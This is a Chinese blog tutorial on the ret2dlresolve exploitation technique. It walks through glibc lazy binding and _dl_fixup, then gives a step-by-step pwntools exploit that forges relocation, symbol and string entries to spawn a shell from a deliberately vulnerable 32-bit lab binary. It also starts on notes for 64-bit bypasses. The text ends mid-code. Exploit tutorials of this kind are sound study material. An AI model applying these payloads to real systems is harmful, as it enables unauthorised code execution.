study on Nan0inPsyLog

剖析ret2dlresolve

Sun, 05 Oct 2025 23:36:00 +0000

ret2dlresolve

ret2libc之后的进阶，动态链接的深入了解

延迟绑定技术

为避免在运行程序时加载过多的动态链接导致卡顿，操作系统实现了延迟绑定（Lazy Binding）的技术，只有在函数首次调用时才进行绑定，

如图，程序在首次执行call func@plt的时候会执行以下的部分，先到plt表，然后jmp到got表

如下，此时got表地址在plt表上

其实这里是jmp got到read的地址，实际上这里是extern，延迟绑定到libc中的read。而这里由于符号的缺失，我们只能知道其跳转到了libc文件中的read进行调用

而在plt表中，如果符号存在，我们拿一个文件举例子

如图，在jmp got后的下一条指令push了一个数字（函数在rel.plt上的便宜，reloc_arg)

之后jmp plt[0]0x8048380

plt[0]处先push got[1] –>即link_map（链接器标识信息），然后jmp 到got[2]处，got[2]为_dl_runtime_resolve的地址

那么实际上执行的就是
_dl_runtime_resolve(link_map,reloc_arg)

而这个函数，完成了对符号的解析，将真正write函数地址写入got表条目中后转接控制器给解析出来的函数

关键段落

.rel.plt是函数重定位

.rel.dyn是变量重定位

.dynsym是动态链接符号表

./dynstr是动态链接的字符串

.got是全局变量偏移表

.got.plt是全局函数偏移表

可以看出[10][11]的地方类型为rela，即重定位表

而且我们需要知道.got.plt前三项为

address of .dynamic
link_map
dl_runtime_resolve

_dl_fixup

在调用_dl_runtime...的时候在设置好参数后call _dl_fixup，我们进行查看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80


_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
 ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
 struct link_map *l, ElfW(Word) reloc_arg)
{
 const ElfW(Sym) *const symtab
 = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

 const PLTREL *const reloc
 = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 首先通过参数reloc_arg计算重定位的入口，这里的JMPREL即.rel.plt，reloc_offest即reloc_arg
 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; // 然后通过reloc->r_info找到.dynsym中对应的条目
 const ElfW(Sym) *refsym = sym;
 void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
 lookup_t result;
 DL_FIXUP_VALUE_TYPE value;

 /* Sanity check that we're really looking at a PLT relocation. */
 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); //这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7，即重定位标志


 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
 {
 const struct r_found_version *version = NULL;

 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
 {
 const ElfW(Half) *vernum =
 (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
 version = &l->l_versions[ndx];
 if (version->hash == 0)
 version = NULL;
 }

 int flags = DL_LOOKUP_ADD_DEPENDENCY;
 if (!RTLD_SINGLE_THREAD_P)
 {
 THREAD_GSCOPE_SET_FLAG ();
 flags |= DL_LOOKUP_GSCOPE_LOCK;
 }

#ifdef RTLD_ENABLE_FOREIGN_CALL
 RTLD_ENABLE_FOREIGN_CALL;
#endif

 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
 version, ELF_RTYPE_CLASS_PLT, flags, NULL); // 接着通过strtab+sym->st_name找到符号表字符串，result为libc基地址

 /* We are done with the global scope. */
 if (!RTLD_SINGLE_THREAD_P)
 THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
 RTLD_FINALIZE_FOREIGN_CALL;
#endif


 value = DL_FIXUP_MAKE_VALUE (result,
 SYMBOL_ADDRESS (result, sym, false)); // value为libc基址加上要解析函数的偏移地址，也即实际地址,SYMBOL_ADDRESS() 得到偏移sym，+ result 得出最终函数地址
 }
 else
 {
 value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
 result = l;
 }

 value = elf_machine_plt_value (l, reloc, value);

 if (sym != NULL
 && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
 value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

 /* Finally, fix up the plt itself. */
 if (__glibc_unlikely (GLRO(dl_bind_not)))
 return value;

 return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); // 最后把value写入相应的GOT表条目中
}

关键部分已经标出注释

_dl_fixup函数调用了_dl_lookup_symbol_x函数，最终这个函数去动态库找到延迟绑定函数填写到了got.plt表项中

_dl_runtime_resolve函数运作流程

dynamic段落

首先.dynamic里面保存了动态链接器所需要基本信息。

例如.dynsym动态链接符号表位置，动态链接重定位表的位置、.dynstr动态链接字符串表的位置。

也就是现在想找到.dynsym，就必须找到.dynamic地址，因此.dynamic段就是主要用于寻找与动态链接相关的其他段(.dynsym .dynstr .rela.plt等段）以下为一个Elf32_Dyn的结构。其由一个类型值d_tag以及一个数值或指针(通过Union结构体同时定义d_val和d_ptr，但是一次只存储一个值，此联合体大小4字节，整个结构体Elf32_Dyn为8字节）

1
2
3
4
5
6
7
8
9


typedef struct
{
 Elf32_Sword d_tag; /* Dynamic entry type */
 union
 {
 Elf32_Word d_val; /* Integer value */
 Elf32_Addr d_ptr; /* Address value */
 } d_un;
} Elf32_Dyn;

动态符号表(Dynamic Symbol Table)

动态符号表中存储了与动态链接（这些函数会进行动态链接）相关的符号，段名被称为.dynsym，而对于本模块的内部符号或者私有变量保存在了.symtab这个表，symtab保存了所有符号（包括.dynsym中的）

‍

动态符号字符串表(Dynamic String Table)

跟名字一样，其为保存了符号名的字符串表，其存在的意义巍是由于Dynamic Symbol Table中记录的固定长度的内容无法描述二进制文件中的任意字符串，因此再次创立了一个表.dynstr，用于存储函数名称的字符串，在.dynsym中的.st_name字段存储了偏移，最后由.dynstr首地址加上偏移找到对能够符号名称。

最后的最后，由_dl_lookup函数拿着这个符号的名称去动态链接库搜索对应函数

在Ida中也能看到ELF String Table

_dl_runtime_resolve的运行模式总结

使用link_map(_dl_runtime_resolvehand的第一个参数）访问.dynamic，取出.dynstr .dynsym .rel.plt地址
.rel.plt+relic_index，求得当前函数重定位表项Elf32_Rel指针，记为rel
rel->r_info >> 8作为.dynsym下标，并求出当前函数符号表项Elf32_sym指针，记作sym
.dynstr+sym->st_name的到符号名，字符串指针
动态链接库查找该函数地址，赋给*rel->r_offset，即GOT表
调用函数

在下文有更详细的解析

测试

32位

调试

延迟绑定图如下

以read函数为例

可以看到刚要进入read, 我们就jmp到了0x804c004，下一条指令便对应了上图提到的延迟绑定的步骤2

跳转到plt表，并push了一个0x8然后跳转到了0x8049020，不难发现这是一个很贴近的地址，实际上此时处于步骤4

而在jmp到0x8049020后，再次执行了push和jmp。查看内容

因此我们现在知道了，之前push压栈的两个是参数，第二次push也就是栈顶的0x804bff8是参数**link_map **指针。0x8则是参数reloc_index

因此我们可以先通过了link_map找到.dynamic地址，图中第三个地址就是.dynamic地址

0x0804bf00

那么link_map到底是怎么访问到.dynamic地址的？

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


struct link_map
 {
 /* These first few members are part of the protocol with the debugger.
 This is the same format used in SVR4. */

 ElfW(Addr) l_addr; /* Base address shared object is loaded at. */
 char *l_name; /* Absolute file name object was found in. */
 ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
 struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
};

我们发现第三个*l_ld在这里存储的是Dynamic段地址，也因此我们查找link_map结构体中第三个地址也就是.dynamic地址了

而根据_dl_runtime_resolve的运行模式总结，这里要取出.dynstr .dynsym以及.rel.plt的地址了。可以查看一下他们的所处地址

分别位于.dynamic段偏移9 10 17的位置，我们知道Elf32_Dyn为8字节，并且实际值or指针位于后四字节。因此他们应该处于8*9-4=0x44 8*10-4=0x4c 8*17-4=0x84的偏移处（这里-4是因为要去除当前所属位置的偏移）

最后用.rel.plt的值加上参数reloc_index，就是重定位表项Elf32_Rel的指针，也就是0x080483b4+0x8=0x080483bc

然后是Elf32_Rel结构体，对应r_offset为0x804c004（.got.plt的地址，也就是最后解析之后会填入真实的地址的地方），r_info=0x207。

r_info>>8=0x2，作为.dynsym的下标（从0开始算的）

1
2
3
4
5
6


// _dl_runtime_resolve的结构体
typedef struct
{
 Elf32_Addr r_offset; /* Address */
 Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;

而Elf32_Sym源码如下

1
2
3
4
5
6
7
8
9


typedef struct
{
 Elf32_Word st_name; /* Symbol name (string tbl index) */
 Elf32_Addr st_value; /* Symbol value */
 Elf32_Word st_size; /* Symbol size */
 unsigned char st_info; /* Symbol type and binding */
 unsigned char st_other; /* Symbol visibility */
 Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

第一个成员名st_name存储.dynstr表所需要索引（也可以说是偏移），在gdb查看（也可以算）

在下方的.dynstr基址加上索引，得到0x080482E0，找到read名字存储地址

接下来调用_dl_lookup_symbol_x函数，到动态库遍历查找

至此，read函数从动态库里读取出，使得可以被使用。

倒推过程

构成一条成熟的思考链。

首先我们需要找到函数名字（字符串，拿到该字符串首地址）。把这个名字交给_dl_lookup_symbol_x，让这个函数去动态库搜索，最后找到我们想延迟绑定的函数，写到.got.plt中

如何拿到这个字符串呢？

然后知道这个字符串在.dynstr中。我们需要两个东西，

一个是.dynstr的基址
一个是字符串距离.dynstr基址的偏移

寻找`.dynstr`首地址

我们知道.dynamic段有动态链接器基本信息，其中包含.dynstr的位置，所以我们要先找到.dynamic段的地址

发现link_map结构体中第三个内容存放的就是.dynamic的地址

那么我们只要查看link_map内容，然后第三个就是我们要的东西。link_map呢就是执行_dl_runtime_resolve函数的第一个参数link_map_obj。从这里开始再顺着正推就可以找到了.dynstr了

.dynstr相对的偏移怎么找

我们发现Elf32_Sym源码中每一个结构体第一个成员就存储了我们要找的偏移，而这个结构又存储在.dynsym（即动态符号表）中（每个函数都有一个单独的Elf32_sym结构）

因此我们可以在.dynsym中找到我们想要的Elf32_Sym结构，但是此时又引出了两个问题

每个函数都有一个这个结构，那么怎么到.dynsym中找到我们想要的函数结构
.dynsym的地址怎么找

.dynsym的地址也在.dynamic中存储了，因此其实我们拿到.dynamic段的地址的话那么.dynsym的地址实际上也可以拿到了

那么怎么到.dynsym中找到我们想要的函数结构？

这个结构实际上也是要拿到距离.dynsym的首地址的偏移，这个偏移需要找到.rel.plt表，这个表是Elf32_Rel结构体组成的，因此拿出第二个成员，将内容算术右移八位就是我们需要的偏移。

而.rel.plt就在.dynamic段中，由于每个Elf32_Rel的结构体又都对应一个函数，我们如何找到想要的Elf32_Rel?———直接使用_dl_runtime_resolve的第二个参数reloc_index

图片来自www.cnblogs.com/ZIKH26/articles/15944406.html

漏洞

_dl_lookup_symbol_x函数最后去搜索字符串存在问题，因为实际上这个函数不在乎给的字符串是否是此刻正在延迟绑定的函数

也就是说，即使是别的函数的字符串，其也会去搜索，再加上_dl_runtime_resolve函数的第二个参数(r_info)即便非常大也不会被认为超过.rel.plt，也就是说可以通过修改出Elf32_Rel的r_info转移到一个伪造的Elf32_Sym上。

综上

我们直接伪造一个极大的****reloc_index ，让原本偏移到 .rel.plt的****reloc_index最后偏移到我们伪造的可控内存，伪造一系列的结构使得最终****dynstr段首的偏移指向了我们指定的字符串，至此 _dl_lookup_symbol_x会去直接搜索我们制定的函数，即使没有任何的泄漏也可以直接getshell

利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#include <stdio.h>
#include <unistd.h>

void vuln() {
 char content[0x100];
 read(0, content, 0x200);
}

int main() {
 vuln();
 return 0;
}
gcc -o test_32 ./test_32.c -m32 -no-pie -fno-stack-protector

演示图，来自晚秋。

由于函数结束调用leave;ret，若能够覆盖ebp为addr-4，栈溢出执行迁移到了base_addr

step1-重构造read

如下图，已经构造出了在bss段的第二次read，执行一个新的read函数，这个read函数是我们最重要执行的函数，将其改为system等想要的函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./test_32"
libc_name = "./libc.so.6"
arch = 'i386'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x0804916A
 b *read
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
# libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040

read_plt = elf.plt['read']

log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))

payload = flat(
 b'a'*0x108,
 base_addr-4, read_plt,
 leave_ret, p32(0), base_addr, 0x100
) #leave_ret后跳转到base_addr然后开始执行read
se(payload)

payload = flat(
 read_plt, 0xdeadbeaf,
 0, bss+0x100, 0x100,
)
# 再一次read,
se(payload)
ia()

step2 模拟plt表的绑定过程

观察plt表，实际上为如下两条指令，发现实际上是push 8后跳转到了一个函数，该函数则为dl_runtime_resolve的函数。所以我们模拟plt表绑定过程去往栈上写入内容。在栈上手动写一个8，然后跳转到该函数0x08049040

据此我们再次修改，将原本的read_plt改为resolve并放入8

1
2
3
4


payload = flat(
 start_resolve, 8, 0xdeadbeef,
 0, bss+0x100, 0x100,
)

step3 伪造reloc_index

现在我们准备开始ret2dlresolve吧。回过头去看看演示图，来自晚秋。

实际上我们往栈上push了一个0x8，实际上这就是图里面的reloc_index

而0x8是什么？–其实我一开始也不知道

如图，我们在.init之前可以看到加载段，而0x8实际上是.rel.plt段的基地址和write函数的Elf32_Rel结构体的偏移

.rel.plt就是红框中的内容，其由函数的Elf32_Rel结构体组成。结构体的定义如下

1
2
3
4
5


struct Elf32_Rel
{
 unsigned __int32 r_offset; //图里为0x804c004
 unsigned __int32 r_info; //0x207
};

如果我们伪造到栈上，往栈上push的值不再是0x8，不难想到，因为0x8是原来的结构体和.rel.plt基地址的偏移，因此我们需要计算我们伪造的结构体和.rel.plt基地址的差，替换掉原本的0x8

而.rel.plt的基地址从图里面就可看到–0x080483B4

也可以用pwntools查看

1

rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr

‍

修改后：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
read_plt = elf.plt['read']

payload = flat(
 b'a'*0x108,
 base_addr-4, read_plt,
 leave_ret, p32(0), base_addr, 0x200
) # leave_ret后跳转到base_addr然后开始执行read
se(payload)


fake_struct = p32(0x804c004)+p32(207) #伪造的Elf32_Rel
# payload = flat(
# start_resolve, 8, 0xdeadbeef,
# 0, bss+0x200, 0x200,
# )
payload = flat(
 start_resolve, p32(base_addr+0x10-rel_plt), 0xdeadbeef, #这里start_resolve开始重定位
 # 第一个参数就是push的参数，其为reloc_index
 0, bss+0x100, 0x100,
 fake_struct
)

step4 伪造.dynsym

实际上我们就是在一步步伪造演示图的所有结构体，在step3我们伪造了.rel.plt结构体，接下来轮到了.dynsym结构体，而程序找到这个结构体是对.dynsym基地址来通过上一步讲到的Elf32_Rel结构体中r_info>>8当作偏移得到

| 0x7: 最低 8 位填入重定位类型：类型 7 是 R_386_JUMP_SLOT

通过readelf后我们定位到.dynsym

如图就是我们跳转后找到的部分

这里可以计算得到st_name距离基地址偏移是0x20

可以t跳转到结构体界面，上一节中知道r_info为0x207，右移八位得到2，即Elf32_sym中的第二个结构体: 这里是aRead从0开始算

1
2
3
4
5
6
7
8
9


struct Elf32_Sym
{
 unsigned __int32 st_name __offset(OFF32,0x80482D0); // 四字节，计算得到偏移为0x10
 unsigned __int32 st_value __off; // 四字节，0
 unsigned __int32 st_size; // 四字节，0
 unsigned __int8(char) st_info; //一字节,0x12
 unsigned __int8(char) st_other; //一字节，0
 unsigned __int16 st_shndx; //二字节，0
};

注意两点

Elf32_Syn结构体要求地址对齐，例如这里是0x…0结尾的，那么伪造的结构体也要以0x..0结尾
r_info计算方式为伪造结构体基地址减dynsym的基地址作为下标（即索引），左移八位（符号索引移动到高二十四位）后或上0x7（类型必须为7），r_info以此我们计算出symtab中的index并且保存类型
我们不难看出这是十六字节的大小，这里我们看一下

1
2


dynsym=elf.get_section_by_name(".dynsym").header.sh_addr
r_info = (((base_addr + 0x10 - dynsym) // 0x10) << 8) | 0x7 # /0x10是因为SYMENT指明大小为十六字节

修改后信息如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
r_info = (((base_addr+0x10-dynsym)//0x10) << 8) | 0x7

log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
log.info(VIO_TEXT(f"dynsym:{hex(dynsym)}"))

read_plt = elf.plt['read']

payload = flat(
 b'a'*0x108,
 base_addr-4, read_plt,
 leave_ret, p32(0), base_addr, 0x200
) # leave_ret后跳转到base_addr然后开始执行read
se(payload)

# fake_struct = p32(0x804c004)+p32(207)
fake_struct = p32(0x804c004)+p32(r_info) # 伪造elf32_rel
# payload = flat(
# start_resolve, 8, 0xdeadbeef,
# 0, bss+0x200, 0x200,
# )
payload = flat(
 start_resolve, p32(base_addr+24), 0xdeadbeef, #p32-->4*6
 0, bss+0x200, 0x200, #这里还只是伪造read
 fake_struct,
 b'a'*(0x10-((fake_struct-dynsym)&0xf), # Elf32_sym结构体为16字节，在填充后地址还要和16字节对齐
 0x20, 0, 0, 0x12
)
# 再一次read,
se(payload)

step5 伪造dynstr

这个表就是保存了符号名的字符串表。而这个表存在的意义是由于Dynamic Symbol Table里记录的都是固定长度的内容，因此它们没办法去描述二进制文件中的任意字符串（也就是我们的函数名称），因此就需要再创立一个表（也就是.dynstr)来存储函数名称的字符串，在.dynsym中的.st_name字段存储了一个偏移，而最后.dynstr段的首地址加上这个偏移量才能找到符号的名称。而_dl_lookup函数最后就是拿着这个符号的名称（也就是函数的名称）去动态链接库里面搜索对应的函数。

我们已经从右往做完成了dynsym的伪造，接下来我们就要在栈上再协议次假的read函数名字符串。

这个偏移本身来自于Elf32_Sym结构体中的st_name，在我们这里就是0x20

修改完如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131


import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./test_32"
libc_name = "./libc.so.6"
arch = 'i386'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x8049199
 b *read
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
# libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name(".dynstr").header.sh_addr
start_resolve = elf.get_section_by_name(".plt").header.sh_addr

# 初始化所需的段首地址

bss = elf.bss()
base_addr = bss+0x800 # 这里要最后一位对齐
leave_ret = 0x080490d6
start_resolve = 0x08049020 # .plt中的第一个函数，调用这个函数会进入动态链接器
r_info = (((base_addr+0x20-dynsym)//0x10) << 8) | 0x7


log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
log.info(VIO_TEXT(f"dynsym:{hex(dynsym)}"))

read_plt = elf.plt['read']
fake_sym_addr = base_addr+32 # fake_sym_addr为Elf32_Sym结构首地址，这里是根据下面计算的4*8=32
align = 0x10-((fake_sym_addr-dynsym) & 0xf) # Elf32_Sym结构为16字节，因此地址和16字节对齐
# 只取最后一位，二者地址放在一个结构中，最后求出fake_sym_addr距离16字节差的字节数
# 使用dynsym是因为dynsym是对齐的，可以用来做对齐的表
fake_sym_addr += align # 其实就是进行十六字节补齐，payload中也写入align
log.info(VIO_TEXT(f"fake_sym_addr:{hex(fake_sym_addr)}"))
log.info(VIO_TEXT(f"align:{hex(align)}"))
st_name = fake_sym_addr+0x10-dynstr # 这个是字符串在dynstr中的偏移
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12) # 0x12=st_info

r_offset = elf.got['read'] # 重定位表项中r_offset为got中read的地址,也是最后写入的真实地址的地方
log.info(VIO_TEXT(f"r_offset:{hex(r_offset)}"))
# 重定位表项中r_info的高位为符号表的索引,并且Elf32_sym大小16字节
r_sym = (fake_sym_addr-dynsym)//0x10

r_type = 0x7 # 0x7是重定位的一种类型，指的是导入函数，进入_dl_fixup函数里面，还会检查这是不是0x7
r_info = (int(r_sym) << 8)+r_type # 重定位表项中r_info的值
reloc_index = base_addr-rel_plt+24 # 这里+24要看实际伪造rel.plt距离base_addr偏移
fake_rel_plt = p32(r_offset)+p32(r_info) # 伪造rel.plt

payload = flat(
 b'a'*0x108,
 base_addr-4, read_plt, leave_ret,
 p32(0), base_addr, p32(0x100)
).ljust(0x200, b'\x00') # leave_ret后跳转到base_addr然后开始执行read
se(payload)

payload = flat(
 p32(start_resolve), p32(reloc_index), # 构成read_plt
 p32(0xdeadbeef), p32(base_addr+80), # 80放置/bin/sh
 b'bbbb', b'bbbb', # 垃圾参数，填充伪造的read参数
 fake_rel_plt,
 b'a'*align,
 fake_sym,
 b'system\x00',
)
payload += (80-len(payload))*b'a'+b'/bin/sh\x00'
payload = payload.ljust(0x100, b'\x00')
se(payload)
ia()

64位

1
2
3
4
5
6
7
8
9


#include <stdio.h>

int main(){
 char content[0x100];
 read(0, content, 0x180);
 return 0;
}

gcc ./pwn -o pwn -no-pie -fno-stack-protector -z norelro

所以，Elf64_Sym 的大小为 24 个字节。

Elf64_Sym结构体

1
2
3
4
5
6
7
8
9


typedef struct
{
 Elf64_Word st_name; /* Symbol name (string tbl index) 32位*/
 unsigned char st_info; /* Symbol type and binding */
 unsigned char st_other; /* Symbol visibility */
 Elf64_Section st_shndx; /* Section index 16位*/
 Elf64_Addr st_value; /* Symbol value 64位*/
 Elf64_Xword st_size; /* Symbol size 64位*/
} Elf64_Sym;

并且在64位plt 中的代码 push 的是待解析符号在重定位表中的索引，而不是偏移。

Elf_Rel 结构体，增加了 r_addend

1
2
3
4
5


typedef struct{
 Elf64_Addr r_offset; /* Address */
 Elf64_Xword r_info; /* Relocation type and symbol index */
 Elf64_Sxword r_addend; /* Addend */
}Elf64_Rela;

如果是直接像 32 位的做法直接伪造 realoc_index，那么会因为 _dl_fixup 函数执行时候访问到错误的内存地址而奔溃

结合_dl_fixup进行源码分析，如glibc-2.23/elf/dl-runtime.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86


_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map，也就是got[1]
{
 // 获取link_map中存放DT_SYMTAB的地址
 const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
 // 获取link_map中存放DT_STRTAB的地址
 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
 // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
 const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
 // 根据重定位结构体的r_info得到symtab表中对应的结构体
 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

 void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
 lookup_t result;
 DL_FIXUP_VALUE_TYPE value;

 /* Sanity check that we're really looking at a PLT relocation. */
 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7

 /* Look up the target symbol. If the normal lookup rules are not
 used don't look in the global scope. */
 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测，检查sym结构体中的st_other是否为0，正常情况下为0，执行下面代码
 {
 const struct r_found_version *version = NULL;
 // 这里也是一层检测，检查link_map中的DT_VERSYM是否为NULL，正常情况下不为NULL，执行下面代码
 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
 {
 //到了这里就是64位下报错的位置，在计算版本号时，vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中，由于我们一般伪造的symtab位于bss段
 //就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误，自然想到的办法就是不执行这里的代码，分析上面的代码我们就可以得到两种手段
 //第一种手段就是使上一行的if不成立，也就是设置link_map中的DT_VERSYM为NULL，那我们就要泄露出link_map的地址，而如果我们能泄露地址，根本用不着ret2dlresolve。
 //第二种手段就是使最外层的if不成立，也就是使sym结构体中的st_other不为0，直接跳到后面的else语句执行。
 const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
 version = &l->l_versions[ndx];
 if (version->hash == 0)
 version = NULL;
 }

 /* We need to keep the scope around so do some locking. This is
 not necessary for objects which cannot be unloaded or when
 we are not using any threads (yet). */
 int flags = DL_LOOKUP_ADD_DEPENDENCY;
 if (!RTLD_SINGLE_THREAD_P)
 {
 THREAD_GSCOPE_SET_FLAG ();
 flags |= DL_LOOKUP_GSCOPE_LOCK;
 }

 RTLD_ENABLE_FOREIGN_CALL;
 // 在32位情况下，上面代码运行中不会出错，就会走到这里，这里通过strtab+sym->st_name找到符号表字符串，result为libc基地址
 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
 version, ELF_RTYPE_CLASS_PLT, flags, NULL);

